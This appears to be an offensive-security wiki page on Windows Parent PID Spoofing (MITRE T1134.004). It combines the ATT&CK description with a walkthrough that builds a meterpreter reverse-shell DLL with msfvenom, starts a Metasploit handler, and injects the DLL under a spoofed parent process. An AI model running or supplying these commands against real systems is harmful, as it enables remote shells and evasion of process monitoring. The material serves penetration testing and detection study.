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Parent PID Spoofing

https://attack.mitre.org/techniques/T1134/004/
ATT&CK ID: T1134.004
Permissions Required: Administrator | User
Description
Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.
This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.
Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.
[Source]

Techniques

Prerequisite

PPID-Spoof requires a DLL to make use of. In this case we are going to create a reverse shell with msfvenom.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f dll -o reverse.dll
Then start corresponding metasploit handler
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport <Port>; exploit"

PPID-Spoof

Download the PowerShell script PPID-Spoof.ps1 and load into memory. From here execute the script where:
Parameter
Description
Example
-ppid
Current PowerShell process
-ppid 6304
-spawnto
Binary on system
"C:\Windows\System32\calc.exe"
-dllpath
msfvenom dll
.\reverse.dll
PPID-Spoof -ppid 6304 -spawnto "C:\Windows\System32\calc.exe" -dllpath .\reverse.dll
After execution see the DLL has been loaded and spawn a calc.exe process under our current PowerShell process.
As well as a call back to our Metasploit handler.

Mitigation

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Further Reading

Last modified 1yr ago